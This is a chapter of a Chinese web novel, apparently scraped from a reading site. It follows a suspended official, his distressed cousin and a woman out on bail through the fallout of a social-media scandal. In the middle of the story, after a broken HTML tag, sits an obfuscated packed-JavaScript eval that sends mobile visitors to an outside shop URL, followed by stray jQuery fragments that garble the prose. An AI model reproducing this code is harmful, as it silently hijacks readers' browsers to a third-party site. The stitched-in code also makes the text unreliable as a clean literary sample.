第二天清晨。


    三月十五日，消费者权益保护日，暖气管里的水流声停了。


    北京的倒春寒顺着窗框的缝隙往屋里钻，舔舐着玻璃上的白霜。


    殷灿言的手指悬在手机屏幕上方一寸，屏幕发出的冷光照亮了她瞳孔里密密麻麻的、抢过了3·15晚会预热的风头的九宫格。


    照片锐化过度，噪点粗糙。那枚蓝宝石落入引力场的限量袖扣被红圈死死勒住，旁边是一张被放大到失真的侧脸——虽然模糊，但下颌线和那颗耳后的痣，有心人一眼便知。


    指尖下滑。加粗的黑体标题带着红色叹号emoji像苍蝇一样往眼睛里撞：


    《独家！金融罪妇搭上顶级红三代？》


    《西河沿奢华庆生，动用「首长级」座驾！》


    《从华尔街到□□：一个「妲己」的上位史》


    评论区的文字在滚动，和一锅煮沸的沥青别无二致。


    早上八点。


    中关村，特楼202室。


    墙角的暖气片已经凉得像块生铁。


    客厅角落，那部红色的保密座机突兀地炸响。


    铃声短促、尖锐，在空荡的挑高空间里撞出回音。


    顾臣戈放下手里的英雄616，笔帽扣合。


    他接起电话。


    听筒漏音，那边传来的男声甚至没有经过电流的修饰，平板，干燥：


    「……经组织研究……鉴于舆论……暂停职务。」


    「……配合调查。」


    「……即刻起，原地待命。」


    嘟。嘟。嘟。


    顾臣戈放下听筒，指腹在积了薄灰的机身上抹了一下。


    他没有摔电话，也没有看向殷灿言。


    他站起身，走到玄关的穿衣镜前，抬手解开领口那枚紧扣的风纪扣。


    接着是袖扣——那枚引爆互联网的蓝宝石被摘下，随手丢进瓷盘里，发出一声脆响。


    定制西装被脱下，沿边线折叠，对齐，滑入印着「Gieves&Hawkes」烫金Logo的防尘袋。


    拉链咬合，嗤啦——挂回衣柜最深处。


    取下衣架上干洗店新送回的旧大衣，披上，袖扣的黑色「蜈蚣」惹眼。


    殷灿言刚走进客厅，手里的精装版《资本论》滑脱。


    「砰。」


    厚重的书脊砸在地板上，磕在顾臣戈的旧皮鞋边。


    绕过地上的书，走到搪瓷杯前，倒了半杯凉白开。水面平静，没有一丝波纹。


    他端着杯子，坐回窗前的书桌，重新翻开那本摊开的《GreenGrowththatWorks（切实可行的绿色增长）》。


    「沙——」


    指尖捻过书页。


    窗外，老槐树的枯枝在风中摇晃，影子投射在顾臣戈的背上像一道道凌乱的鞭痕。


    那件旧大衣空荡荡地挂在他身上，显出里面消瘦的肩胛骨，脊椎却像钢筋一样，垂直于椅背。


    殷灿言盯着那个后脑勺。


    她伸出手，指尖在距离他后背半米的地方停住，僵硬地蜷缩，指甲深深掐进掌心的肉里。


    两个小时后，楼道里的陈年木地板发出不堪重负的呻吟，紧接着是「笃笃笃」的撞击声。节奏极快，每一下都像是钉子锲进木头里。


    门被推开，带进一股凛冽的寒风和昂贵的一轮玫瑰香水味。


    辰知星大步跨过门槛。


    她穿着一件剪裁锋利的羊绒大衣，颜色是极具攻击性的勃艮第红，嘴唇上涂着同色系的哑光口红。她身后跟着的律师不得不小跑两步才能跟上她的步伐，怀里的公文包抱得死紧。


    她没有看站在阴影里的殷灿言一眼，径直走到书桌前。


    「啪。」


    最新款的手机被她随手甩在满是灰尘的桌面上，屏幕朝上，滑行了半米，撞到那个搪瓷水杯才停下。


    辰知星两手撑在桌沿，下巴微扬，嘴角扯出一个讥诮的弧度：「现在的舆论真是把脑子都扔进下水道了。几张借位的模糊图，就能编排出一出『权色交易』的折子戏。」


    殷灿言盯着屏幕上那张刺眼的红旗轿车照片，声音发哑：「牵连到你了吗？」


    辰知星侧过头，目光在殷灿言脸上扫过，嗤笑一声，手指在桌面上无意识地敲击：「牵连我？他们也配。学校纪委早起刚给我挂过电话，我也跟家里老头子通了气。车是我借的，宴是我请的。我是大学正教授，也是一级市场的投资人，请朋友吃顿饭犯了哪条王法？顶天了写份检查，检讨一下『注意影响不够』。」


    她转过脸，视线打在顾臣戈脸上，敲击桌面的手指停住了：「但我没事，不代表你没事。部里的电话打了吧？」


    顾臣戈坐在椅子上，脊背挺直，双手交叠放在膝头，指关节泛白。


    「嗯。停职，配合调查。」


    辰知星原本撑在桌沿的手猛地收紧，指甲在大衣布料上抓出几道痕迹。她一把抄起刚放下的手机，扬起手似乎想砸，最后却只是重重地拍在文件堆上。


    灰尘在阳光下腾起。


    「我就知道。这帮人最擅长的就是把活人拖死。只要舆论一天不平息，哪怕最后查出来你清白得像张白纸，你的考察期也彻底黄了。」


    她在狭窄的客厅里来回踱步，高跟鞋的声音在空旷的屋子里回荡，显得焦躁异常。


    「这次晋升一停，按照部里的惯例，你至少还要在综合司那个冷板凳上再坐三年。三年又三年，黄花菜都凉了！」


    她猛地停下脚步，转身面对殷灿言。


    这一次，她眼里的傲慢褪去，取而代之的是那种操盘手在面对崩盘风险时的冷酷计算：「灿言，我们摊开了说。『搜神三期』马上就要立项。如果顾臣戈在这个节骨眼上被摁死在冷板凳上，项目的主导权就会易主。可能是那个只会搞饭局的副司长，也可能是别的什么派系的人。」


    她逼近一步，那股浓烈的香水味逼得殷灿言呼吸一窒。


    「到时候，你拼了命保下来的碳汇林，还有乔珩在天上的那颗星星，谁来护？」


    站在角落一直没敢出声的律师推了推鼻梁上的金丝眼镜，从公文包里抽出一份文件，小心翼翼地插话：「殷小姐，当初为您办理『取保候审』时，辰教授是以『质心咨询附属历史档案馆修缮员』的名义，向街道和文物局申请的『临时居住许可』。理由栏填写的非常明确：方便您在配合顾队长调查的同时，协助整理钱老和顾老两位院士的学术遗物。」


    律师顿了顿，观察着辰知星的脸色，声音压低：「这是为了满足取保候审中对于『固定住所』和『便于监管』的硬性要求，也是当时唯一能把您从看守所捞出来的办法。」


    辰知星冷哼一声，翻了个白眼，胸口剧烈起伏：「结果呢？现在的热搜词条是：『红三代把科学家的故居，变成了金融捞女的香闺』。」


    她伸出食指，指着窗外，仿佛那里站着成千上万的指责者：「他们说我们拿着先辈的荣耀，给犯罪分子当保护伞！说我在国家级文物里搞权色交易！就在刚才，文物局的公函已经发到我邮箱了，红头文件，要求立刻腾退，并对我、对顾臣戈进行『政治审查』。」


    她咬着牙，每一个字都像是从齿缝里崩出来的：「我是终身教职我无所谓，又没违法违纪，清者自清。但顾臣戈这辈子别想翻身！」


    顾臣戈眼睑低垂，睫毛颤了一下，随即又恢复了那种雕塑般的死寂。


    「知星，别慌。房子是我让你腾出来的，手续是我去跑的。」


    他抬起头，眼神沉静：「我会向组织提交书面说明：殷灿言作为重要经济案件的污点证人，面临巨大的人身安全威胁，需要最高级别的保护。特楼安保严密，且在我隔壁，是『指定居所监视居住』的最佳地点。」


    「监视居住？谁信啊？」辰知星抱着手臂，指甲几乎掐进肉里，「你们在胡同口那张拥抱的照片现在全网疯传！在别人眼里，这就是你顾臣戈利用职权，金屋藏娇，把她养在文物里！」


    顾臣戈站起身，走到窗前，背对着她们：「那就查。我没动这房子里的一草一木，也没让她动。身正不怕影子斜。」


    就在这时，桌上那部被摔了两次的手机亮了。


    屏幕的冷光在昏暗的房间里显得格外刺眼。来电显示上跳动着四个黑体字——「辰大院士」。


    原本像一只斗鸡般昂扬的辰知星，在看到这四个字的瞬间，整个人僵住了。


    她挺直的脊背瞬间塌陷，原本支撑着她的那股精气神被瞬间抽空。她踉跄了一步，靠在门框上，瞳孔放大，眼神里流露出一种孩童面对鞭笞时特有的、深入骨髓的恐惧。


    手机在震动。


    嗡——嗡——嗡——声音像是在锯木头。


    辰知星接起电话，一言不发。


    半分钟后。


    「哥……完蛋了。」


    她的声音在发抖，原本清脆的嗓音变得破碎不堪。


    顾臣戈快步走过去，双手扶住她的肩膀，掌心用力：「别怕。姑父说什么了？」


    辰知星的眼神没有焦距，她盯着空气中的某一点，嘴唇蠕动，模仿着一种不怒自威、没有任何温度的语调：


    「他说：『知星，如果你管不好自己的羽毛，就回家来。不要在外面，拿着你爷爷的车和名字，招摇撞骗，丢人现眼。』」


    她突然抬起双手捂住头，身体剧烈地颤抖起来。


    「招摇……撞骗。他用了这四个字。」


    声音带着哭腔，压抑而绝望。


    「我在他眼里，努力了这么多年，做智库、搞科研、投项目……到头来，就是个『招摇撞骗』的学阀二代。」


    殷灿言站在原地，手指死死扣着书页的硬壳：「因为那辆车？」


    辰知星猛地放下手，眼眶通红，眼里布满了红血丝：「不止是车！现在网上在扒我的底！他们说我之所以不到三十岁就拿终身教职、拿青基A类帽子，质心咨询之所以能拿大项目，全是因为我爸在后面打招呼！说我是靠爹上位的『学术胡亥』！」


    她抓着自己的头发，指关节用力到发青：「我爸这辈子最恨这个……他把羽毛看得比命还重……现在全网都在骂我们家是『学阀』，是『特权阶级』……他会停掉我所有的项目，他会把我关在家里……我这辈子都别想再证明自己了……」


    律师手中的平板电脑突然发出一声提示音。


    他看了一眼，脸色骤变，下意识想把屏幕盖上，但已经晚了。


    推送弹窗是一张黑白照片——正是特楼门口挂着的那块斑驳的「两弹一星功勋故居」铜牌。


    照片上，被人用粗红色的画笔打了一个巨大的、血淋淋的叉。


    旁边配了一行字，字号极大：「商女不知亡国恨，特楼从此不姓红。」


    辰知星盯着那个屏幕，呼吸突然变得急促。


    「啊——！」


    一声尖叫卡在喉咙里，变成了某种类似风箱破损的嘶鸣。


    「他们怎么能这么说？！这是外婆的房子！这是我从小长大的地方！」


    她双手在空中胡乱挥舞，像是要抓住什么救命稻草：


    「我只是……为了符合取保候审那个该死的规定！律师说这合规的！街道办也备了案的！」


    「为什么？！为什么现在全网都在骂我？说我把外婆的学术圣地变成了……变成了……」


    那几个肮脏的字眼堵在她的喉咙口，她弯下腰，大口大口地喘息，喉咙里发出尖锐的哮鸣音。


    「知星！」


    顾臣戈两步跨过地板上散乱的纸张，伸手扣住了她的肩膀，五指收紧，指尖深深陷入她的大衣面料，像是要透过厚重的羊毛，直接捏碎底下的肩胛骨。


    他强迫她抬头，直视自己。


    「看着我！辰知星！看着我！」他的呼吸急促，热气喷洒在她脸上，「程序上我们没有任何问题！听到了吗？！」


    辰知星猛地一挣，狠狠推在顾臣戈胸口，借着反作用力向后跌去，一直退到墙角。


    她双手抱住头，整个人蜷缩成极小的一团。羊绒大衣的衣摆，拖在墙角的陈年积灰里，替她的尊严扫地。


    「没用的……没用……」


    她的瞳孔失去了焦距，视线穿过顾臣戈的身体，钉在虚空中的某一点。


    「……我爸说我给家里丢人了。他说我不仅没守住外婆的房子，还开着爷爷的车去招摇撞骗……」


    她的牙齿开始打颤，发出细碎的磕碰声。


    「我要被关起来了……像小时候那样……地下室……禁闭室……黑屋子……」


    「只要我考不到第一名……只要我说错一句话……」


    顾臣戈的下颚线瞬间绷紧，咬肌轮廓凸起。


    他没有说话，猛地转身，大步走到那个老旧的红木五斗柜前，手指扣住最底层那个隐秘的暗格抽屉拉环。


    木头受潮膨胀后的摩擦声，干涩刺耳。


    一个印着红十字的旧铁盒被他抓了出来。


    他动作粗暴地拧开瓶盖，倒出药片，随后，抓起桌上的水壶，倒了一杯温水。


    然后走回墙角，单膝跪地，跪在了那堆尘埃里。


    高大的身躯挡住了窗外的光线，投下一片浓重的阴影，将缩在墙角的辰知星，严严实实地笼罩在自己的领地里。


    顾臣戈没有任何停顿，右膝向前顶去，硬生生地插进了辰知星紧紧并拢、还在发抖的双腿之间，骨头抵着骨头。


    他利用身体的重量和绝对的力量优势，强硬地、一寸一寸地撬开了她蜷缩防守的姿态，将自己的身体楔入了这个狭窄、封闭、且只能容纳他们两人的空间。


    「张嘴。」


    声音是从胸腔最深处震出来的。低沉，沙哑，带着一种早已刻入骨髓的熟悉，不容置疑。


    辰知星的后背死死抵着墙壁，退无可退。她浑身战栗，牙关紧咬，拒绝配合。


    顾臣戈伸出左手，虎口张开，一把卡住了她的下颌骨。手指修长有力，像铁钳一样固定住她的脸。拇指准确地按在她脸颊那块紧绷的肌肉上，发力，向内深陷。


    酸痛感迫使辰知星仰起头，齿关松开了一线缝隙。


    顾臣戈趁机将指间那粒白色的药片，连同那一杯水，强行灌了进去。


    但他没有马上撤离。


    即使药片已经被吞下，即使她已经被呛得咳嗽。他的手掌依然托着她的脸侧，膝盖依然霸道地分开着她的双腿。


    那根刚刚送完药的拇指，没有离开，而是顺势滑落，重重地按在了她的下唇上。


    指他极缓慢地、一下一下地，摩挲过她干裂起皮的唇瓣，用力很大，几乎要将那层苍白的皮肤揉出血色。


    他把水杯凑到她唇边。


    辰知星的手抖得根本拿不住杯子，水洒了出来，打湿了羊绒大衣。


    深红色的布料吸了水，变成了暗红，像干涸的血迹。


    顾臣戈没有去找纸巾，而是把手缩进袖子里，抬起手臂。


    那件旧毛衣的袖口，磨损起球，带着粗粝的质感。


    他用那截粗糙的灰色羊毛，抵住她的下巴，一下，两下。


    灰色的布料吸饱了水渍，变深了一块。


    动作很慢，甚至有些笨拙，像是在擦拭一件易碎的瓷器，又像是在清理伤口上的血迹。


    辰知星的睫毛颤抖着，那种粗糙的摩擦感，似乎终于刺破了她药物作用下的麻木。


    她的手突然从大衣里伸出来，五指张开，死死地抠住了顾臣戈胸前的毛衣，指尖用力到发白。


    她猛地向前一扑，整张脸埋进了那个带着雪松味、体温和心跳声的胸膛。


    「哥。」


    一声极低的、带着哭腔的破碎气音，闷在他怀里传出来。


    「……我怕。」


    顾臣戈的身体，僵了一瞬。但也仅仅是一瞬。


    他没有推开，甚至，他连余光都没有分给站在几步之外的殷灿言。


    他伸出双臂。


    一个完全封闭的，甚至带着绞杀力度的拥抱。


    他的一只手掌扣住辰知星的后脑勺，五指没入她的发丝，用力向下按压，强迫她的脸更深地贴向自己的心脏。另一只手臂横在她的背上，勒紧。


    两件厚重衣物的面料摩擦着，发出沉闷的声响。


    在这个昏暗、逼仄的角落里，他们紧紧地嵌在一起，像两棵在暴风雨中根系纠缠、只能依靠彼此才能不被连根拔起的枯树。


    殷灿言站在厨房门框投下的狭长阴影里。


    她的指甲抠进了手里那本书的硬质封皮，指尖泛白，在书脊上压出一道深深的月牙形凹痕。


    她下意识地屏住了呼吸，甚至连胸口的起伏都强行压了下去，生怕发出一点声音，惊动了眼前这幅画面。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918484|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    窗外晌午的阳光，将那两个人的影子揉成一体，在地板上交融成一团分不开的黑。


    在这个逼仄、充满尘埃的角落里，没有那枚代表着「李望枢」的婚戒，也没有那张用来应付世人的、写着「家族体面」的面具。


    只有粗重的呼吸声，和厚重面料相互挤压发出的闷响。


    顾臣戈的手掌完全覆盖了怀中人的后颈，五指张开，拇指死死抵着她脆弱的脊椎骨。


    那种力度，不像是在拥抱一个妹妹，倒像是在试图把自己肋骨下拆下来的那根骨头，重新硬生生地、带血地按回自己的身体里。


    血管在皮肤下剧烈跳动，隔着衣物共振，振出一种刻在基因序列里的、绝对排他的引力。


    十几分钟后，辰知星紧绷的肩膀才在迟到的药效下，慢慢塌了下来，在他怀里渐渐安静，呼吸逐渐变得沉重而绵长。


    顾臣戈小心翼翼地将她放平在沙发上，拉过毛毯，盖在她身上。


    他并没有立刻离开。


    他依然保持着单膝跪地的姿势，静静地注视着她的睡颜。


    他的呼吸放得很轻，胸廓起伏的频率，强行调整到了与睡着的那个人完全同频的节奏。


    他缓缓抬起右手，指尖悬停在距离辰知星脸颊上方两厘米的虚空中。


    他没有触碰。


    那根修长的食指，只是隔着这一层薄薄的空气，极其缓慢地、虚空描摹着她的轮廓——从紧蹙的眉心，到高挺的鼻梁，再到那张因为药效发作而终于松弛下来的、毫无血色的嘴唇。


    他的指尖在颤抖。


    在那一寸空气里，他的手指几次想要落下，想要触碰那层温热的皮肤，却又在即将越界的瞬间，被强大的意志力硬生生地拽住。


    五指猛地收紧，蜷缩成拳，指甲深深陷入掌心，手背上暴起几根狰狞的青筋。


    殷灿言站在几步之外的阴影里，目光锁住顾臣戈颤抖的拳头。


    一种电流般的战栗，顺着殷灿言的脊椎窜了上来。


    那个困扰了她一路的算式，终于闭环了。


    这把被磨了十年、锋利到甚至有些变态的「剑」，它的剑鞘，不在长安街上，不在三江源国家公园，也不在搜神计划的宏大蓝图里——就在这间年久失修的特楼老屋。


    顾臣戈站起身，恢复了那副冷淡的模样。


    他走到书桌前，铺开一张印着红色抬头的信笺纸，拔开钢笔笔帽。


    笔尖触纸，发出沙沙的摩擦声。


    他在纸页的正中央，写下了一行力透纸背的标题：


    《关于三月十四日晚相关情况的说明》


    殷灿言一直站在阴影里，背靠着冷透了的暖气片。她看着那个被台灯光圈笼罩的背影，看着他手腕稳定地移动，一行行黑色的墨迹在纸上延伸。


    「……你打算怎么编？」


    殷灿言开口，声音发涩。


    顾臣戈头也不回，笔尖没有丝毫停顿，甚至连书写的节奏都没有乱。


    「如实写。」


    他的声音平稳，伴随着笔尖划过纸面的声音：「车是借的，房是借的。目的是为了配合你取保候审期间，不得离开居住地，且需要固定住所的监管需求。不存在权色交易，不存在利益输送。」


    「哈。」


    殷灿言短促地冷笑了一声。


    她从阴影里走出来，两步跨到书桌旁，手指重重地在红木台面上敲了两下。


    「顾臣戈，你是在写童话吗？」


    她盯着那张纸上密密麻麻的字迹，语气尖锐如刀：


    「你觉得那些拿着放大镜找茬的网民会信？纪委会信？」


    「在他们眼里，这不叫『监管』。」她俯下身，逼近他的耳侧，声音里充满了恶意的揣测，「……这叫拿公权力当幌子，搞『非法同居』。这解释发出去，只会坐实你『滥用职权』，把你钉死在耻辱柱上。」


    「沙——」


    笔尖猛地一顿，在纸上晕开一个小小的墨点。


    顾臣戈停了笔。


    他慢慢地旋上笔帽，将钢笔整齐地摆在信笺纸旁。然后，他转过身，仰起头看着殷灿言。


    那双藏在镜片后的眼睛，依然沉静，没有丝毫的波澜。


    「那也要写。」他说，「因为这就是事实。」


    「至于信不信……」


    他的目光越过殷灿言的肩膀，落在了沙发上熟睡的辰知星身上，那团红色的身影此刻显得格外渺小。


    「……只要我一口咬定，所有的一切，都是我强行索要的，责任就在我。」


    顾臣戈收回视线，语气变得异常淡漠，声音平静得近乎残酷：「知星只是碍于亲戚情面，被迫借给了我。她是被动的，我是主动的。」


    「这样，这把火就烧不到辰家头上。姑父顶多骂她一顿不懂事，不会动真格的。」


    殷灿言愣住了。


    他在用自己的政治生命，给辰知星修一道防火墙。


    「……那你呢？」


    殷灿言的声音有些发颤：「所有的屎盆子都扣你头上……你怎么办？你为了保她，连前途都不要了？」


    顾臣戈笑了笑。


    他抬手推了推眼镜，转过身，重新拿起了那支钢笔。


    「我？」


    他拔开笔帽，在落款处，签下了那个他练了三十年的名字。笔锋如刀，力透纸背。


    「大不了，去西北基地。」


    他一边盖上印章，一边轻描淡写地说道：「那边缺个守雷达的。海拔四千米，只有雪和石头。」


    他吹了吹未干的印泥，将那张等同于「自毁前程」的纸，轻轻推到了桌角。


    「那里清净。」


    「没人会盯着我看。也没人……能看出我的心思。」


    辰知星在地上坐了很久。


    直到停暖的寒气穿透了那张厚重的毛毯，刺痛了她的膝盖。


    她动了动。


    她没有让人扶，而是撑着沙发，自己摇摇晃晃地坐了起来。


    「……我得回去了。」


    她隔空喊着两人，声音恢复了一种死寂的平静。


    「老爷子在玉泉山等着，我爸在部里等着。三堂会审，少我一个不行。」


    顾臣戈坐在书房椅子上，没有起身。


    他隔着昏黄的日光，望向客厅沙发上那一团红火，视线在触及她露在羊绒大衣外，那一截毫无防备的苍白脖颈时，像被火星烫到了一样，猛地收回。


    他低下头，看着自己放在膝盖上、那双因为常年写字而指节分明的手，用力地握成了拳，指骨泛白，沉声道：「那是咱们两家的事，如果问起来，就把责任往我身上推。」


    「推不掉的。」


    辰知星惨笑了一声，推开那扇朱红色的房门。寒风灌入，吹乱了她的长发。


    「哥，保重。」


    这是她留下的最后一句话。


    这一天，过得异常漫长。


    从正午惨淡的白光，到黄昏灰扑扑的暮色，再到夜幕彻底降临。


    整整十几个小时，顾臣戈都保持着同一个姿势。


    手里那本《GreenGrowththatWorks》，翻页的速度很慢，很均匀。


    「沙——」


    「沙——」


    这是房间里唯一的声响。


    殷灿言蜷缩在202客厅的沙发上，她没有看书，也没有看手机。


    她只是看着顾臣戈的背影。


    看着窗外的光线，一点点从他的肩膀上退去，直到他的轮廓完全融化在黑暗里，只剩下一个模糊的剪影。


    她看着他偶尔端起搪瓷缸，喝一口早已凉透的白开水。


    看着他挺直的脊梁，随着时间的推移，极其轻微地、一点点地佝偻下去，像是一棵被大雪压弯了的松树。


    没有人说话。


    在这个被世界遗忘、被权力抛弃的角落里，他们像两只冬眠的兽，在黑暗中共享着这种令人窒息的沉默。


    直到凌晨两点。


    窗外，偶尔传来一声野猫凄厉的叫声，划破了死寂。


    顾臣戈翻书的手，终于停了。


    他合上书，手指在封面上轻轻摩挲了一下，发出一声极轻的叹息。


    他在黑暗中坐了很久，才缓缓走出书房，对抱着双膝数窗外星星的殷灿言唤道：


    「……要不要出去吃点东西？」